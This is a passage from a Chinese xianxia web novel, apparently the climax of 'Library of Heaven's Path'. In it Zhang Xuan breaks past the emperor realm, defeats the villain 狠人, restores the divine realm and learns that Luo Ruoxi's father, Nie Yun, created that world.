天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!